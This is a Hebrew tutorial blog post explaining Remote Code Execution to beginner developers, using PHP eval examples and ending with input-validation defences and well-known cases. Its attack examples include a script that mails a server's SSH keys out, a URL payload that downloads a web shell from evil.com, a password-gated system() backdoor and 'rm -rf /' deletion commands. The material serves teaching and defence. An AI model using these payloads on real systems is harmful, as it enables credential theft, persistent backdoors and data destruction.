הסבר למתחילים על Remote Code Execution RCE

הסבר מקיף וטכני על תוקפים שמריצים קוד על מכונה מרוחקת.

כדי לסייע לסטודנטים שאני מלמד במקומות שונים ואיכשהו תמיד חסרים לי מאמרים שאני יכול לשלוח לסטודנטים המסבירים למי שלומד מדעי המחשב דברים בסיסיים באבטחת מידע ובעברית. יש לא מעט מאמרים (אשתדל לתת קישורים איפה שיש) עם הסברים אבל ההסברים מיועדים לאנשים שלומדים אבטחת מידע ומכילים כבר מונחים מהתחום שפחות רלוונטיים לאנשים שצריכים ללמוד את המבוא. אז כדי לעזור לעצמי, כתבתי סדרת מאמרים שמסבירים מונחים בסיסיים באבטחת מידע ובדגש על ווב ופיתוח ומה שמפתחים מתחילים צריכים לדעת. במאמר זה אני מסביר על Remote Code Execution. חולשה, או יותר נכון תוצאה של חולשות שמאפשר לתוקף להריץ קוד על השרת שלכם.

הדוגמאות פה הם עם PHP שזו שפה קלה להבנה גם למי שמכיר שפות אחרות או בכלל לא מכיר אף שפת תכנות.

הגדרה והסבר ראשוני

נתחיל קודם כל בהגדרה, RCE הן ראשי תבות של Remote Code Execution – הרצת קוד מרחוק. מה זה אומר בפועל? זה אומר יכולת של אדם אחר להריץ קוד על המכונה שלך. שזה כמובן רע מאד (נדבר עוד מעט למה זה רע מאד). אבל כן חשוב לא מדובר על חולשה אלא על תוצאה של חולשה. אם תחפשו RCE ב-OWASP top 10, שזו הרשימה האולטימטיבית של חולשות אבטחה, לא תמצאו RCE. למה? כי RCE זו תוצאה של חולשה ולא חולשה.
אני אסביר דווקא באופן מעשי.

התבקשתי ליצור אתר לימודי ללומדי PHP. במסגרת האתר, החלטתי ליצור ממשק שבו הלומד מקליד קוד PHP ואני מריץ אותו עם eval ומציג בפני הלומד את התוצאה של ההרצה. ככה למשל הלומד יכול לתרגל פקודות PHP.

ממשק שבו כתוב Run PHP Code עם שדה קלט שבו אפשר להזין קוד PHP.

זה ממש נחמד! הבעיה היא שהלומד יכול גם להכניס קוד זדוני. למשל:


$escapedCommand = escapeshellcmd('rm -f .');

מה זה יעשה? ימחק את התיקיות על השרת. אפשר לעשות משהו יותר נורא, כמו למשל משהו כזה:

<?php
$dir = '/.ssh';
$to = '[email protected]';

$headers = "From: [email protected]\r\nMIME-Version: 1.0\r\nContent-Type: multipart/mixed; boundary=\"$boundary\"\r\n";
$body = '';

foreach (glob("$dir/*") as $file) {
    if (is_file($file)) {
        $content = chunk_split(base64_encode(file_get_contents($file)));
        $name = basename($file);
        $body .= "--\r\nContent-Type: application/octet-stream; name=\"$name\"\r\nContent-Transfer-Encoding: base64\r\nContent-Disposition: attachment\r\n\r\n$content\r\n";
    }
}


mail($to, 'Demo Files', $body, $headers)
?>

זה שולח את כל המפתחות הקריפטוגרפיים מהשרת אל מייל evil כלשהו. מאד לא נעים.

אפשר לעשות עוד המון תעלולים. החולשה פה היא הזרקת קוד. Code Injection. ברוב תמימותי איפשרתי לאנשים להזריק לי קוד ישירות לשרת. התוצאה מהזרקת קוד היא Remote Code Execution. זה נראה כמו ניטפיקינג אבל זה חשוב. יש לנו לא מעט פעמים מקרים שבהם יש RCE שהם תוצאה של חולשות אחרות ורבות. אבל בסופו של דבר – מדובר ביכולת של תוקף להריץ קוד על השרת שלך.

דלת אחורית

התוקף לא חייב לגלוש לאתר כדי להפעיל את הקוד. הוא יכול פשוט ליצור ממשק משלו שיחכה ליום פקודה. למשל, במקום לעשות תעלולים כאלו, אני יכול להכניס קוד PHP שיוצר קובץ PHP אחר שמקבל קלט ולהציב אותו על השרת. אפילו אם מישהו יתקן את הממשק הפגוע יהיה לי את הממשק שלי ואני אוכל להפעיל אותו כרצוני.

בואו ונדמיין שיש לנו בונה אתרים שהיה צריך דף שיש בו נתונים על השרת עבור מערכת הניהול. למשל דף שמראה את נתונים על ה-PHP שרץ על המערכת, דף שמראה את הזכרון הפנוי, את התוספים ל-PHP וכך הלאה.

המתכנת יצר דף admin-status שנראה כך:

if (isset($_GET['cmd'])) {
  eval($_GET['cmd']);
}

ב-PHP, זה בעצם לקחת פרמטר GET, שזה הפרמטר המופיע ב-URL ולהריץ אותו. כך בונה האתרים יכול ליצור קבוצה של קישורים שיציגו את הנתונים האלו:

https://example.com/admin-status.php?cmd=phpinfo()
https://example.com/admin-status.php?cmd=ini_get('memory_limit');
https://example.com/admin-status.php?cmd=get_loaded_extensions()
https://example.com/admin-status.php?cmd=disk_free_space("/")

ועוד פקודות המציגות סטטוס. נראה נהדר, אבל תוקף שמגלה את הקוד הזה, יכול לעשות מה שהוא רוצה. הוא יכול למשל להריץ:

https://example.com/admin-status.php?cmd=rm -rf /

שימחק את כל הקבצים על השרת.

אבל תוקף מחוכם יותר אולי לא רוצה לתקוף את השרת עכשיו. אולי הוא רוצה להשתמש בשרת יותר מאוחר. אולי הוא רוצה לשעבד אותו לטובת חוות בוטים למשל. או לכרות בו ביטקוין בשעות שקטות יחסית. או אפילו רוצה להוריד ולשבש את פעילות האתר יותר מאוחר. מה שתוקף כזה יעשה.

https://example.com/admin-status.php?cmd=file_put_contents("very_secret_location/shell.php", file_get_contents("http://evil.com/shell.php"));

הפקודה הזו מעתיקה קובץ shell.php מ-evil.com ומעתיקה אותו אל very_secret_location/shell.php על השרת. התוקף שלנו יכול להיות מחוכם ולערבל את הקוד כמובן. או להכניס גם קוד שמחייב אותך לסיסמה מסוימת. למשל:

if ($_GET['key'] === 'secret_pwd') {
  system($_GET['cmd']);
}

התוקף עכשיו יכול להכנס מדף נוסף ולהריץ קוד מתי שהוא רוצה.

shell.php?key=secret_pwd&cmd=WHATEVER_COMMAND

אבל למה זה חשוב? הרי התוקף יכול לעשות כבר מה שהוא רוצה בשרת? התשובה היא שזה חשוב לאחר כך. נניח יומיים אחר כך, המתכנת שם לב שיש בעיה בקוד הזה ומתקן אותה. או שהקוד הזה נמצא בתוסף ויוצרי התוסף מתקנים את הקוד. או שהתוקף שלנו תקף ואז בונה האתר הבין את הבעיה וסגר את החור המקורי. עדיין הדלת האחורית, אותו shell.php שהתוקף הכניס, נמצאת שם! ועכשיו זה יותר קשה לגילוי.

זו הסיבה ש-RCE היא כל כך קשה. כי גם אם סגרת את המקורית – יש סיכוי גבוה שתיפרץ שוב כי תוקפים הכניסו דלתות אחוריות! באתרי וורדפרס ראו את זה בזמנו המון. כל מיני תוספים בעייתיים החלו חולשות שגרמו ל-RCE וגם אחרי שהן נסתמו, האתרים נפרצו שוב ושוב כי תוקפים (או יותר נכון הסקריפטים של התוקפים) השתילו דלתות אחוריות.

כשמגלים RCE בשרת, צריך לעבוד מאד קשה כדי לוודא שאין דלתות אחוריות נוספות ולהפעיל כלים כדי לבדוק שלא נשארו קבצים מאחור. אם יש לכם וורדפרס. לפעמים כדאי למחוק את כל הקבצים על השרת ולהתקין וורדפרס מאפס ולהעביר את קבצי הגיבוי סריקה כדי לראות שאין שם הפתעות. סיוט

איזה חולשות גורמות ל-RCE?

המון חולשות בקוד יכולות לגרום ל-RCE. בכל שפת תכנות שהיא. זה מתחיל ב-eval כמו בדוגמאות שראינו או ב-implied eval שזה eval בתחפושת. command injection (יכולת להכניס פקודות ב-BASH או ב-CMD לקוד), פונקציות שמוסיפות קבצים שמאפשרות להוסיף קבצים בעייתיים על השרת או טמפלייטים. יש באמת המון המון חולשות שגורמות ל-RCE.

איך מתגוננים מפני RCE?

כמשתמש קצה, הדרך הטובה ביותר כמו אינספור בעיות אחרות היא לעדכן את התוכנות/אתרים/תוספים שאני משתמש בהם ברגע שמקבלים אותן. אספתי קצת מידע על RCE בתוספים של וורדפרס למשל, תראו את הכמות העצומה שלהם לאורך השנים!

אם אתם בעלי אתר ולא מעדכנים, תחשבו על הנזק שיכול לאתר שלכם.

כמתכנתים, חשוב לוודא ולעשות ולידציה על כל קלט מהשתמש ולעולם לא להעביר אותו לקוד שלכם כפשוטו. ולידציה היא אימות הקלט. אם אנחנו מצפים מהמשתמש לקבל משהו, כדאי לוודא בכל האמצעים שאנחנו באמת מקבלים את המשהו הזה. למשל, בדוגמה הקודמת – במקום לקבל את הפקודה ישירות מהמשתמש, לקבל מספר מהמשתמש ולוודא שמדובר במספר ואז לעשות switch case. גם אם התוקף ינסה לשחק עם הקלט, הוא ייכשל.

<?php
if (isset($_GET['cmd']) && is_numeric($_GET['cmd'])) {
    $cmd = (int) $_GET['cmd'];
    
    switch ($cmd) {
        case 1:
            phpinfo();
            break;
        case 2:
            echo ini_get('memory_limit');
            break;
        case 3:
            echo implode(', ', get_loaded_extensions());
            break;
        case 4:
            echo disk_free_space('/') / (1024 * 1024) . ' MB';
            break;
        default:
            echo 'Invalid command.';
    }
} else {
    echo 'Command must be a number.';
}
?>

כמובן שיש לנו כלי עזר למתכנתים שמסייעים מאד – מבדיקה סטטית של קוד ועד סריקות יותר אקטיביות. יש גם WAF – פיירוול סביב אפליקציות ווב שיכולים לעזור בניטור. זו בעיה קשה אבל אפשר למזער את הסיכונים.

פרצות ידועות שגרמו ל-RCE

היו הרבה מקרים מפורסמים ל-RCE, הנה כמה מהם.

המקרה הכי ידוע בשנים האחרונות של RCE הוא Log4Shell, ספריית קוד פתוח תשתיתית שהיתה בהרבה מקומות ואיפשרה לתוקפים להריץ קוד משרת מרוחק. כתבתי על המקרה הזה פוסט ספציפי.

מקרה ידוע נוסף הוא של SolarWinds שתוקפים שכנראה הם מארגון ביון של המדינה הרוסית חדרו לשרתי החברה והכניסו חולשה לתוכנת אוריון שאיפשרה להם להריץ קוד מרוחק. כאן יש כתבה מעניינת על הנושא.

תוקפים ממקור לא ידוע, כנראה צפון קוריאני (לפי דונאלד טראמפ) השתמשו בחולשת RCE שהיתה בפרוטוקול ששימש את SMB. תוכנת ניהול קבצים של מיקרוסופט כדי להפיץ תוכנת כופר בשם WannaCry שבמשך כמה שעות ממש השביתה את כל העולם. בהודעה הזו של מערך הסייבר הלאומי אפשר לקרוא על העניין.

מקורות נוספים על RCE

Halpe, Prashadi. (2024). A Review On Remote Code Execution Vulnerability Detection and Mitigation. 10.13140/RG.2.2.28612.03202.
קישור

ומשהו מעניין שמתקשר לבינה מלאכותית – על RCE באפליקציות מבוססות LLM

Liu, Tong & Deng, Zizhuang & Meng, Guozhu & Li, Yuekang & Chen, Kai. (2023). Demystifying RCE Vulnerabilities in LLM-Integrated Apps. 10.48550/arXiv.2309.02926.
קישור